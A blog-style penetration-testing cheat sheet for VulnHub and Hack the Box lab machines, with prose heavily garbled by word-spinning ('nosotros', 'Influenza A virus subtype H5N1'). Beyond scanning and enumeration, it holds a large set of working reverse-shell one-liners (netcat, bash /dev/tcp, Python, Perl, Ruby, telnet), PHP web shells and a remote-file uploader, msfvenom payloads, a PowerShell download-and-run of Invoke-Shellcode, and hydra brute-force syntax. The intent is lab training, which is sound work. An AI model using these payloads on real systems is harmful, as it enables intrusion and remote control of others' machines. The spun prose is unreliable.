This post (Work inward Progress) records what nosotros learned past times doing vulnerable machines provided past times VulnHub, Hack the Box in addition to others. The steps below could live followed to regain vulnerabilities, exploit these vulnerabilities in addition to finally accomplish system/ root.
Once you lot download a virtual machines from VulnHub you lot tin run it past times using virtualisation software such every bit VMware or Virtual Box.
We would similar to thank g0tm1lk for maintaining Vulnhub in addition to the moderators of HackTheBox. Also, shout-outs are inward lodge for each in addition to every author of Vulnerable Machines and/ or write-ups. Thank you lot for providing these awesome challenges to larn from in addition to sharing your noesis alongside the information technology safety community! Thank You!!
Generally, nosotros move through the next stages when solving a vulnerable machine:
- Finding the IP address
- Port Scanning
- Rabbit Holes
- From Nothing to a Unprivileged Shell
- Unprivileged Shell to Privileged Shell
- Appendix-I : Local File Inclusion
- Appendix-II : File Upload
- Appendix-III Transferring Files from Linux to Windows (post-exploitation)
- Appendix-IV Linux Group Membership Issues
- Appendix-V Coding Languages Tricks
Finding the IP address
Before, exploiting whatever machine, nosotros demand to figure out its IP address.Netdiscover
An active/ passive arp reconnaissance toolnetdiscover [options] -i interface : The network interface to sniff in addition to inject packets on. -r arrive at : Scan a given arrive at instead performing an auto scan. Example: netdiscover -i eth0/wlan0/vboxnet0/vmnet1 -r 192.168.1.0/24
- Virtualbox : vboxnet
- Vmware : vmnet
Nmap
Network exploration tool in addition to security/ port scannernmap [Scan Type] [Options] {target specification} -sP/-sn Ping Scan -disable port scan
nmap -sP/-sn 192.168.1.0/24
Port Scanning
Port scanning provides a large amount of information nigh opened upwards (exposed) services in addition to possible exploits that may target these services.Common port scanning software include: nmap, unicornscan, netcat (when nmap is non available).
Nmap
Network exploration tool in addition to security/ port scannernmap [Scan Type] [Options] {target specification} HOST DISCOVERY: -sL: List Scan - but listing targets to scan -sn/-sP: Ping Scan - disable port scan -Pn: Treat all hosts every bit online -- skip host regain SCAN TECHNIQUES: -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans -sU: UDP Scan -sN/sF/sX: TCP Null, FIN, in addition to Xmas scans PORT SPECIFICATION: -p : Only scan specified ports Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9 SERVICE/VERSION DETECTION: -sV: Probe opened upwards ports to create upwards one's take heed service/version information OUTPUT: -oN/-oX/-oS/-oG : Output scan inward normal, XML,Output inward the 3 major formats at ane time -v: Increase verbosity flat (use -vv or to a greater extent than for greater effect) MISC: -6: Enable IPv6 scanning -A: Enable OS detection, version detection, script scanning, in addition to traceroute
Unicornscan
Influenza A virus subtype H5N1 port scanner that utilizes its ain userland TCP/IP stack, which allows it to run asynchronous scans. It tin scan 65,535 ports inward a relatively curt fourth dimension frame.As unicornscan is faster in addition to then nmap it makes feel to usage it for scanning large networks or a large number of ports. The thought is to usage unicornscan to scan all ports, in addition to brand a listing of those ports that are opened upwards in addition to move past times them to nmap for service detection. Superkojiman has written onetwopunch for this.
unicornscan [options] X.X.X.X/YY:S-E -i, --interface : interface name, similar eth0 or fxp1, non ordinarily required -m, --mode : scan mode, tcp (syn) scan is default, U for udp T for tcp \`sf' for tcp connect scan in addition to Influenza A virus subtype H5N1 for arp for -mT you lot tin also specify tcp flags next the T similar -mTsFpU for instance that would shipping tcp syn packets alongside (NO Syn\|FIN\|NO Push\|URG) Address ranges are inward cidr notation similar 1.2.3.4/8 for all of 1.?.?.?, if you lot omit the cidr mask /32 is implied. Port ranges are similar 1-4096 alongside 53 only scanning ane port, **a** for all 65k in addition to p for 1-1024 example: unicornscan 192.168.1.5:1-4000 gateway:a would scan port 1 - 4000 for 192.168.1.5 in addition to all 65K ports for the host named gateway.
Netcat
Netcat mightiness non live the best tool to usage for port scanning, but it tin live used quickly. While Netcat scans TCP ports past times default it tin perform UDP scans every bit well.TCP Scan
For a TCP scan, the format is:nc -vvn -z xxx.xxx.xxx.xxx startport-endport -z flag is Zero-I/O fashion (used for scanning) -vv volition provide verbose information nigh the results -n flag allows to skip the DNS lookup
UDP Scan
For a UDP Port Scan, nosotros demand to add together -u flag which makes the format:nc -vvn -u -z xxx.xxx.xxx.xxx startport-endport
Amap - Application mapper
When portscanning a host, you lot volition live presented alongside a listing of opened upwards ports. In many cases, the port number tells you lot which application is running. Port 25 is usually SMTP, port fourscore to a greater extent than frequently than non HTTP. However, this is non ever the case, in addition to peculiarly when dealing alongside proprietary protocols running on non-standard ports you lot volition non live able to create upwards one's take heed which application is running.By using amap, nosotros tin seat which services are running on a given port. For instance is at that spot a SSL server running on port 3445 or some oracle listener on port 23? Note that the application tin also grip services that requires SSL. Therefore it volition perform an SSL connect followed past times trying to seat the SSL-enabled protocol!. e.g. One of the vulnhub VM’s was running http in addition to https on the same port.
amap -A 192.168.1.2 12380 amap v5.4 (www.thc.org/thc-amap) started at 2016-08-10 05:48:09 - APPLICATION MAPPING fashion Protocol on 192.168.1.2:12380/tcp matches http Protocol on 192.168.1.2:12380/tcp matches http-apache-2 Protocol on 192.168.1.2:12380/tcp matches ntp Protocol on 192.168.1.2:12380/tcp matches ssl Unidentified ports: none. amap v5.4 finished at 2016-08-10 05:48:16
Rabbit Holes
There volition live instances when nosotros volition non able to regain anything entry dot such every bit whatever opened upwards port. The department below may provide some clues on how to acquire unstuck. Note
When inward doubt, enumerate
Listen to the interface
Many VMs shipping information on random ports thence nosotros recommend to take heed to the local interface (vboxnet0 / vmnet) on which the VM is running. This tin live done past times using wireshark or tcpdump. For example, ane of the vulnhub VMs, performs an arp scan in addition to sends a SYN packet on port 4444, if something is listening on that port, it sends some data.tcpdump -i eth0 18:02:04.096292 IP 192.168.56.101.36327 > 192.168.56.1.4444: Flags [S], seq 861815232, win 16384, options [mss 1460,nop,nop,sackOK,nop,wscale 3,nop,nop,TS val 4127458640 ecr 0], length 0 18:02:04.096330 IP 192.168.56.1.4444 > 192.168.56.101.36327: Flags [R.], seq 0, ack 861815233, win 0, length 0 18:02:04.098584 ARP, Request who-has 192.168.56.2 say 192.168.56.101, length 28 18:02:04.100773 ARP, Request who-has 192.168.56.3 say 192.168.56.101, length 28 18:02:04.096292 IP 192.168.56.101.36327 > 192.168.56.1.4444: Flags [S],
nc -lvp 4444 listening on [any] 4444 … 192.168.56.101: inverse host lookup failed: Unknown host connect to [192.168.56.1] from (UNKNOWN) [192.168.56.101] 39519 0IHNpbGVuY2Ugc3Vycm91bmRpbmcgeW91Lg0KWW91IGxvb2sgZWFzdCwgdGhlbiBzb3V0aCwgdGhlbiB3ZXN0LCBhbGwgeW91IGNhbiBzZWUgaXMgYSBncmVhdCB3YXN0ZWxh
DNS Server
If the targeted machine is running a DNS Server in addition to nosotros have got a possible domain name, nosotros may seek to figure out A, MX, AAAA records or seek zone-transfer to figure out other possible domain names.host <domain> <optional_name_server> host -t ns <domain> -- Name Servers host -t a <domain> -- Address host -t aaaa <domain> -- AAAA tape points a domain or subdomain to an IPv6 address host -t mx <domain> -- Mail Servers host -t soa <domain> -- Start of Authority host <IP> -- Reverse Lookup host -l <Domain Name> <DNS Server> -- Domain Zone Transfer
host scanme.nmap.org scanme.nmap.org has address 45.33.32.156 scanme.nmap.org has IPv6 address 2600:3c01::f03c:91ff:fe18:bb2f
SSL Certificate
If the targeted machine is running an https server in addition to nosotros are getting an apache default webpage on hitting the https://IPAddress, virtual hosts would live in all probability inward use. Check the alt-dns-name on the ssl-certificate, create an entry inward hosts file (/etc/hosts) in addition to banking concern check what is beingness hosted on these domain names past times surfing to https://alt-dns-name.nmap service scan final result for port 443 (sample)
| ssl-cert: Subject: commonName=examplecorp.com/organizationName=ExampleCorp Ltd./stateOrProvinceName=Attica/countryName=IN/localityName=Mumbai/organizationalUnitName=IT/emailAddress=admin@examplecorp.com | Subject Alternative Name: DNS:www.examplecorp.com, DNS:admin-portal.examplecorp.com
From Nothing to a Unprivileged Shell
At this point, nosotros would have got an thought nigh the unlike services in addition to service version running on the system. Besides the output given past times nmap. It is also recommended to banking concern check what software is beingness used on the webservers (e.g. sure enough cms’s)searchsploit
Exploit Database Archive SearchFirst of all, nosotros banking concern check if the operating scheme and/ or the exposed services are vulnerable to exploits which are already available on the internet. For example, a vulnerable service webmin is nowadays inward ane of the VMs which could live exploited to extract information from the system.
root@kali: # nmap -sV -A 172.16.73.128 **********Trimmed************** 10000/tcp opened upwards http MiniServ 0.01 (Webmin httpd) |_http-methods: No Allow or Public header inward OPTIONS reply (status code 200) |_http-title: Site doesn't have got a championship (text/html; Charset=iso-8859-1). | ndmp-version: |_ ERROR: Failed to acquire host information from server **********Trimmed**************
root@kali: # searchsploit webmin **********Trimmed************** Description Path ---------------------------------------------------------------------------------------------------------------- Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit | /multiple/remote/1997.php Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit (perl) | /multiple/remote/2017.pl Webmin 1.x HTML Email Command Execution Vulnerability | /cgi/webapps/24574.txt **********Trimmed**************
searchsploit -x 24674
searchsploit --nmap [file.xml] Checks all results inward Nmap's XML output alongside service version (e.g.: nmap -sV -oX file.xml). Use "-v" (verbose) to seek fifty-fifty to a greater extent than combinations
Tip
If nosotros don’t care to regain an exploit for a specific version, it is recommended to banking concern check the notes of the exploits which are highlighted every bit they may live valid for lower versions too. For instance Let’s say nosotros are searching for exploits inward Example_Software version 2.1.3. However, version 2.2.2 contains multiple vulnerablities. Reading the description for 2.2.2 nosotros regain out it’s valid for lower versions too.
SecLists.Org Security Mailing List Archive
There volition live some days, when you lot won’t regain vulnerabilities alongside searchsploit. In this case, nosotros should also banking concern check the SecLists.Org Security Mailing List Archive, if someone has reported whatever bug(s) for that particular software that nosotros tin exploit.Google-Vulns
It is suggested that whenever you lot are googling something, you lot add together words such every bit vulnerability, exploit, ctf, github, python, tool etc. to your search term. For example. Let’s say, you lot are stuck inward a docker or on a specific cms search for docker ctf or <cms_name> ctf/ github etc.Webservices
If a webserver is running on a machine, nosotros tin start alongside runningwhatweb
Utilize whatweb to regain what software stack a server is running.whatweb www.example.com http://www.example.com [200 OK] Cookies[ASP.NET_SessionId,CMSPreferredCulture,citrix_ns_id], Country[INDIA][IN], Email[infosecurity@zmail.example.com], Google-Analytics[Universal][UA-6386XXXXX-2], HTML5, HTTPServer[Example Webserver], HttpOnly[ASP.NET_SessionId,CMSPreferredCulture,citrix_ns_id], IP[XXX.XX.XX.208], JQuery[1.11.0], Kentico-CMS, Modernizr, Script[text/javascript], Title[Welcome to Example Website ][Title chemical factor contains newline(s)!], UncommonHeaders[cteonnt-length,x-cache-control-orig,x-expires-orig], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=9,IE=edge]
nikto
nikto - Scans a spider web server for known vulnerabilities.It volition examine a spider web server to regain potential problems in addition to safety vulnerabilities, including:
- Server in addition to software misconfigurations
- Default files in addition to programs
- Insecure files in addition to programs
- Outdated servers in addition to programs
dirb, wfuzz, dirbuster
Furthermore, nosotros tin run the next programs to regain whatever hidden directories.- DIRB is a Web Content Scanner. It looks for existing (and/ or hidden) Web Objects. It basically industrial plant past times launching a lexicon based assail against a spider web server in addition to analysing the response.
- wfuzz - a spider web application bruteforcer. Wfuzz mightiness live useful when you lot are looking for webpage of a sure enough size. For example: Let’s say, when nosotros dirb nosotros acquire 50 directories. Each directory containing an image. Often, nosotros in addition to then demand to figure out which picture is different. In this case, nosotros would figure out what’s the size of the normal picture in addition to enshroud that particular reply alongside wfuzz.
- Dirbuster : DirBuster is a multi threaded java application designed to creature strength directories in addition to files names on web/ application servers.
Tip
Most likely, nosotros volition live using common.txt (/usr/share/wordlists/dirb/) . If it’s doesn’t regain anything, it’s improve to double banking concern check alongside /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt which is a listing of directories that where found on at to the lowest degree 2 unlike hosts when DirBuster projection crawled the internet. Even if that doesn’t piece of work out, seek searching alongside extensions such every bit .txt, .js, .html, .php. (.txt past times default in addition to residual application based)
Tip
If using the dirb/ wfuzz wordlist doesn’t final result inward whatever directories in addition to the website contains a lot of text, it mightiness live a adept thought to usage cewl to create a wordlist in addition to utilize that every bit a lexicon to regain hidden directories. Also, it sometimes brand feel to dirb/wfuzz the IPAddress instead of the hostname similar filesrv.example.com (Maybe found past times automatic redirect)
Todo
add together Gobuster?
BurpSuite Spider
There volition live some cases when dirb/ dirbuster doesn’t regain anything. This happened alongside us on a Node.js spider web application. Burpsuite’s spider helped inward finding extra-pages which contained the credentials.Parameter Fuzz?
Sometimes, nosotros mightiness have got a scenario where nosotros have got a website which mightiness live protected past times a WAF.Now, this “/example” mightiness live a php or mightiness live accepting a GET Parameter. In that case, nosotros in all probability demand to fuzz it. The hardest component is that nosotros tin only regain the GET parameters past times fuzzing “/example” if you lot acquire some errors from the application, so the goal is to fuzz using a special char every bit the parameter’s value, something like: “/example?FUZZ=’ “
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "User-Agent: SomethingNotObivousforWAF" "http://IP/example?FUZZ='"
PUT Method
Sometimes, it is also a adept thought to banking concern check the diverse HTTP verbs that are available such every bit GET, PUT, DELETE, etc. This tin live done past times making an OPTIONS request.Curl tin live used to banking concern check the available options (supported http verbs):
curl -X OPTIONS -v http://192.168.126.129/test/ Trying 192.168.126.129… Connected to 192.168.126.129 (192.168.126.129) port fourscore (#0) > OPTIONS /test/ HTTP/1.1 > Host: 192.168.126.129 > User-Agent: curl/7.47.0 > Accept: / > < HTTP/1.1 200 OK < DAV: 1,2 < MS-Author-Via: DAV < Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK < Allow: OPTIONS, GET, HEAD, POST < Content-Length: 0 < Date: Fri, 29 April 2016 09:41:19 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.126.129 left intact
Influenza A virus subtype H5N1 few are:
- Nmap:
nmap -p fourscore --script http-put --script-args http-put.url='/uploads/rootme.php',http-put.file='/tmp/rootme.php'
- curl:
orcurl --upload-file test.txt -v --url http://192.168.126.129/test/test.txt
curl -X PUT -d ' curl -i -X PUT -H "Content-Type: application/xml; charset=utf-8" -d @"/tmp/some-file.xml" http://IPAddress/newpage curl -X PUT -d "text or information to put" http://IPAddress/destination_page curl -i -H "Accept: application/json" -X PUT -d "text or information to put" http://IPAddress/new_page
Wordpress
When faced alongside a website that makes usage of the wordpress CMS ane tin run wpscan. Make sure enough you lot run –enumerate u for enumerating usernames because past times default wpscan doesn’t run it. Also, scan for pluginswpsscan --url | -u <target url> The WordPress URL/domain to scan. --force | -f Forces WPScan to non banking concern check if the remote site is running WordPress. --enumerate | -e [option(s)] Enumeration. alternative : u usernames from id 1 to 10 u[10-20] usernames from id 10 to xx (you must write [] chars) p plugins vp only vulnerable plugins ap all plugins (can bring a long time) tt timthumbs (vulnerability scanner) t themes vt only vulnerable themes at all themes (can bring a long time) Multiple values are allowed : "-e tt,p" volition enumerate timthumbs in addition to plugins If no alternative is supplied, the default is "vt,tt,u,vp" (only vulnerable themes, timthumbs, usernames from id 1 to 10, only vulnerable plugins)
wpscan --url http://192.168.1.2 --wordlist wordlist.txt --username example_username
- If nosotros have got found a username in addition to password of wordpress alongside admin privileges, nosotros tin upload a php meterpreter. One of the possible ways is to move to Appearance > Editor > Edit 404 Template.
- The configuration of worpdress is ordinarily speaking stored inward wp-config.php. If you lot are able to download it, you lot mightiness live lucky in addition to live able to loot plaintext username in addition to passwords to the database or wp-admin page.
- If the website is vulnerable for SQL-Injection. We should live able to extract the wordpress users in addition to their password hashes. However, if the password hash is non crackable. Probably, banking concern check the wp-posts tabular array every bit it mightiness comprise some hidden posts.
- Got wordpress credentials, maybe utilize WPTerm an xterm-like plugin. It tin live used to run non-interactive vanquish commands from the WordPress admin dashboard.
- If there’s a custom plugin created, it would in all probability live inward the location
Todo
what is the (standard) format of a wp hash in addition to where inward the database is it stored? Elborate to a greater extent than on wp scanning in addition to vulnerabilities?
Names? Possible Usernames & Passwords?
Sometimes, when visiting webpages, you lot volition regain possible names of the employees working inward the company. It is mutual do to have got a username based on your first/ lastly name. Superkojiman has written namemash.py which could live used to create possible usernames. However, after completion nosotros are left alongside a large amount of potential usernames alongside no passwords.If the vulnerable machine is running a SMTP postal service server, nosotros tin verify if a particular username exists or not.
- Using metasploit smtp_enum module: Once msfconsole is running, usage auxiliary/scanner/smtp/smtp_enum, acquire into the RHOSTS (target address) in addition to USER FILE containing the listing of likely user accounts.
- Using VRFY command:
- Using RCPT TO command:
Brute forcing: hydra
Hydra tin live used to creature strength login spider web pages-l LOGIN or -L FILE login alongside LOGIN name, or charge several logins from FILE (userlist) -p PASS or -P FILE seek password PASS, or charge several passwords from FILE (passwordlist) -U service module usage details -e nsr additional checks, "n" for null password, "s" seek login every bit pass, "r" seek the opposite login every bit move past times
hydra -U http-post-form
Module http-post-form requires the page in addition to the parameters for the spider web form.
The parameters bring 3 “:” separated values, plus optional values.
Syntax: <url>:<form parameters>:<condition string>[:<optional>[:<optional>]
- First is the page on the server to shipping a GET or POST asking to (URL).
- Second is the POST/GET variables (taken from either the browser, proxy, etc. alongside usernames in addition to passwords beingness replaced alongside the “^USER^” in addition to “^PASS^” placeholders (FORM PARAMETERS)
- Third is the string that it checks for an invalid login (by default). Invalid status login banking concern check tin live preceded past times “F=”, successful status login banking concern check must live preceded past times “S=”. This is where most people acquire it wrong. You have got to banking concern check the webapp what a failed string looks similar in addition to pose it inward this parameter!
- The next parameters are optional: C=/page/uri to define a unlike page to get together initial cookies from (h|H)=My-Hdr: foo to shipping a user defined HTTP header alongside each asking ^USER^ in addition to ^PASS^ tin also live pose into these headers!
Examples:
- Note:
- ‘h’ volition add together the user-defined header at the halt regardless it’s already beingness sent past times Hydra or not.
- ‘H’ volition supercede the value of that header if it exists, past times the ane supplied past times the user, or add together the header at the end
- Note that if you lot are going to pose colons (:) inward your headers you lot should escape them alongside a backslash (). All colons that are non alternative separators should live escaped (see the examples higher upwards in addition to below). You tin specify a header without escaping the colons, but that way you lot volition non live able to pose colons inward the header value itself, every bit they volition live interpreted past times hydra every bit alternative separators.
"/login.php:user=^USER^&pass=^PASS^:incorrect" "/login.php:user=^USER^&pass=^PASS^&colon=colon\:escape:S=authlog=.*success" "/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed" "/:user=^USER&pass=^PASS^:failed:H=Authorization\: Basic dT1w:H=Cookie\: sessid=aaaa:h=X-User\: ^USER^" "/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&flags=0&username=<domain>%5C^USER^&password=^PASS^&SubmitCreds=x&trusted=0:reason=:C=/exchweb"
Todo
Add a program/binary that an easier syntax, ncrack maybe? Elaborate on the examples, eg. what they volition do ane time executed?
Reverse Shells
Once nosotros have got figured out some vulnerability or misconfiguration inward a running service which allows us to brand a connexion dorsum to our assail machine, nosotros would similar to laid upwards a opposite shell. This tin live done through version methods e.g. past times using netcat, php, weevely, ruby, perl, python, java, jsp, bash tcp, Xterm, Lynx, Mysql. The department below has been to a greater extent than frequently than non adapted from PentestMonkey Reverse vanquish cheat sheet in addition to Reverse Shell Cheat sheet from HighOn.Coffee in addition to more.netcat (nc)
- with the -e option
nc -e /bin/sh 10.1.1.1 4444
- without -e option
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Tip
f inward this instance is a file name, if you lot desire to have got to a greater extent than in addition to then ane opposite vanquish alongside this method you lot volition have got to usage some other alphabetic lineament (a … z) in addition to then the ane you lot used intially.
PHP
- PHP Web Shell
This is a sort of Web vanquish in addition to non a opposite shell.
We tin create a novel file say (shell.php) on the server containing
or<?php system($_GET["cmd"]); ?>
or<?php echo shell_exec($_GET["cmd"]); ?>
which tin in addition to then live accessed by<? passthru($_GET["cmd"]); ?>
If there’s a webpage which accepts phpcode to live executed, nosotros tin usage curl to urlencode the payload in addition to run it.
The sed command inward the endcurl -G -s http://10.X.X.X/somepage.php?data= --data-urlencode "html=<?php passthru('ls -lah'); ?>" -b "somecookie=somevalue" | sed '/<html>/,/<\/html>/d' -G When used, this alternative volition brand all information specified alongside -d, --data, --data-binary or --data-urlencode to live used inward an HTTP GET asking instead of the POST asking that otherwise would live used. The information volition live appended to the URL alongside a '?' separator. -data-urlencode <data> (HTTP) Posts data, similar to the other -d, --data options alongside the exception that this performs URL-encoding. -b, --cookie <data> (HTTP) Passes the information to the HTTP server inward the Cookie header. It is supposedly the information previously received from the server inward a "Set-Cookie:" line. The information should live inward the format "NAME1=VALUE1; NAME2=VALUE2".
deletes the content betwixt <html> in addition to </html> tag.sed '/<html>/,/<\/html>/d'
If you lot also desire to provide upload functionality (imagine, if nosotros demand to upload nc64.exe on Windows or other-binaries on linux), nosotros tin pose the below code inward the php file
The higher upwards tin live accessed by<?php if (isset($_REQUEST['fupload'])) { file_put_contents($_REQUEST['fupload'], file_get_contents("http://yourIP/" . $_REQUEST['fupload'])); }; if (isset($_REQUEST['cmd'])) { echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; } ?>
- PHP Meterpreter
We tin create a php meterpreter shell, run a exploit handler on msf, upload the payload on the server in addition to hold off for the connection.
We tin laid the multi-handler inward metasploit bymsfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f raw -o /tmp/payload.php
use exploit/multi/handler laid payload php/meterpreter/reverse_tcp laid LHOST yourIP run
- PHP Reverse Shell
The code below assumes that the TCP connexion uses file descriptor 3. This worked on my examine system. If it doesn’t work, seek 4 or v or 6.
The higher upwards tin live connected to past times listening on port 1337 past times using nc.php -r '$sock=fsockopen("192.168.56.101",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
Weevely
Weevely also generates a webshellweevely generate password /tmp/payload.php
weevely http://192.168.1.2/location_of_payload password
Todo
Elobrate -> why wasn’t it useful? iirc (really non sure) if you lot don’t provide a password it volition enquire for it
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
TCPpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
import os,pty,socket;s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.connect(("10.10.14.17", 4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE",'/dev/null');pty.spawn("/bin/sh");s.close()
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | piece read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f state of war > runme.war
Bash /dev/tcp
If a server (attacker machine) is listening on a port:nc -lvp port
Method 1:
/bin/bash -i >&/dev/tcp/IP/Port 0>&1
exec 5<>/dev/tcp/IP/80 truthful cat <&5 | piece read line; do $line 2>&5 >&5; done # or: piece read line 0<&5; do $line 2>&5 >&5; done
0<&196;exec 196<>/dev/tcp/IP/Port; sh <&196 >&196 2>&196 -- We may execute the higher upwards using bash -c "Aboveline "
The next script fetches the forepart page from Google:
exec 3<>/dev/tcp/www.google.com/80 echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3 truthful cat <&3
- The initiative of all line causes file descriptor 3 to live opened for reading in addition to writing on the specified TCP/IP socket. This is a special cast of the exec statement. From the bash human being page:
If command is non specified, whatever redirections bring consequence inward the electrical flow shell, in addition to the render status is 0. So using exec without a command is a way to opened upwards files inward the electrical flow shell.exec [-cl] [-a name] [command [arguments]]
- Second line: After the socket is opened upwards nosotros shipping our HTTP asking out the socket alongside the echo … >&3 command. The asking consists of:
Each line is followed past times a carriage-return in addition to newline, in addition to all the headers are followed past times a blank line to signal the halt of the asking (this is all measure HTTP stuff).GET / HTTP/1.1 host: http://www.google.com Connection: unopen
- Third line: Next nosotros read the reply out of the socket using truthful cat <&3, which reads the reply in addition to prints it out.
Telnet Reverse Shell
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP fourscore 0/tmp/p telnet ATTACKING-IP fourscore | /bin/bash | telnet ATTACKING-IP 443
Todo
explicate the instance above
XTerm
One of the simplest forms of opposite vanquish is an xterm session. The next command should live run on the victim server. It volition seek to connect dorsum to you lot (10.0.0.1) on TCP port 6001.xterm -display 10.0.0.1:1
Xnest :1 -listen tcp
xhost +targetip
Lynx
Obtain an interactive vanquish through lynx: It is possible to obtain an interactive vanquish via special LYNXDOWNLOAD URLs. This is a large safety hole for sites that usage lynx “guest accounts” in addition to other world services. More details LynxShellWhen you lot start upwards a lynx customer session, you lot tin hitting “g” (for goto) in addition to and then acquire into the next URL:
URL to open: LYNXDOWNLOAD://Method=-1/File=/dev/null;/bin/sh;/SugFile=/dev/null
MYSQL
- If nosotros have got MYSQL Shell via sqlmap or phpmyadmin, nosotros tin usage mysql outfile/ dumpfile component to upload a shell.
orecho -n "<?php phpinfo(); ?>" | xxd -ps 3c3f70687020706870696e666f28293b203f3e select 0x3c3f70687020706870696e666f28293b203f3e into outfile "/var/www/html/blogblog/wp-content/uploads/phpinfo.php"
SELECT "<?php passthru($_GET['cmd']); ?>" into dumpfile '/var/www/html/shell.php';
- If you lot have got sql-shell from sqlmap/ phpmyadmin, nosotros tin read files past times using the load_file function.
select load_file('/etc/passwd');
Reverse Shell from Windows
If there’s a way, nosotros tin execute code from windows, nosotros may try- Uploading ncat in addition to executing it
- Powershell Empire/ Metasploit Web-Delivery Method
- Invoke-Shellcode (from powersploit)
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('http://YourIPAddress:8000/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost YourIPAddress -Lport 4444 -Force"
Todo
add together Nishang?
MSF Meterpreter ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf -o met LHOST=10.10.XX.110 LPORT=4446
Metasploit MSFVenom
Ever wondered from where the higher upwards shells came from? Maybe seek msfvenom in addition to grep for cmd/unixmsfvenom -l payloads | grep "cmd/unix" **snip** cmd/unix/bind_awk Listen for a connexion in addition to spawn a command vanquish via GNU AWK cmd/unix/bind_inetd Listen for a connexion in addition to spawn a command vanquish (persistent) cmd/unix/bind_lua Listen for a connexion in addition to spawn a command vanquish via Lua cmd/unix/bind_netcat Listen for a connexion in addition to spawn a command vanquish via netcat cmd/unix/bind_perl Listen for a connexion in addition to spawn a command vanquish via perl cmd/unix/interact Interacts alongside a vanquish on an established socket connexion cmd/unix/reverse Creates an interactive vanquish through 2 inbound connections cmd/unix/reverse_awk Creates an interactive vanquish via GNU AWK cmd/unix/reverse_python Connect dorsum in addition to create a command vanquish via Python cmd/unix/reverse_python_ssl Creates an interactive vanquish via python, uses SSL, encodes alongside base64 past times design. cmd/unix/reverse_r Connect dorsum in addition to create a command vanquish via R cmd/unix/reverse_ruby Connect dorsum in addition to create a command vanquish via Ruby **snip**
msfvenom -p cmd/unix/bind_netcat Payload size: 105 bytes mkfifo /tmp/cdniov; (nc -l -p 4444 ||nc -l 4444)0</tmp/cdniov | /bin/sh >/tmp/cdniov 2>&1; rm /tmp/cdniov
Spawning a TTY Shell
Once nosotros have got opposite shell, nosotros demand a total TTY session past times using either Python, sh, perl, ruby, lua, IRB. Spawning a TTY Shell in addition to Post-Exploitation Without Influenza A virus subtype H5N1 TTY have got provided multiple ways to acquire a tty shellPython
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import os; os.system("/bin/bash")'
sh
/bin/sh -i
Perl
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
Ruby
ruby: exec "/bin/sh"
Lua
lua: os.execute('/bin/sh')
IRB
(From within IRB)exec "/bin/sh"
VI
(From within vi):!bash
:set shell=/bin/bash:shell
vi ;/bin/bash
Nmap
(From within nmap)!sh
Expect
Using “Expect” To Get Influenza A virus subtype H5N1 TTY$ truthful cat sh.exp #!/usr/bin/expect # Spawn a shell, in addition to then allow the user to interact alongside it. # The novel vanquish volition have got a adept plenty TTY to run tools similar ssh, su in addition to login spawn sh interact
Sneaky Stealthy SU inward (Web) Shells
Let’s say nosotros have got a webshell on the server (probably, nosotros would live logged inward every bit a apache user), however, if nosotros have got credentials of some other user, in addition to nosotros desire to login nosotros demand a tty shell. We tin usage a vanquish terminal fob that relies on Python to plough our non-terminal vanquish into a terminal shell.Example
Webshell like
If nosotros try
echo password | su -c whoami
standard inward must live a tty
(sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);" root
Spawning a Fully Interactive TTYs Shell
Ronnie Flathers has already written a great weblog on Upgrading elementary shells to fully interactive TTYs Hence, almost everything is taken from that weblog post in addition to kept hither for completion.Many times, nosotros volition non acquire a fully interactive vanquish thence it will/ have:
- Difficult to usage the text editors similar vim
- No tab-complete
- No upwards arrow history
- No task control
Socat
Socat tin live used to move past times total TTY’s over TCP connections.On Kali-Machine (Attackers - Probably yours)
socat file:`tty`,raw,echo=0 tcp-listen:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
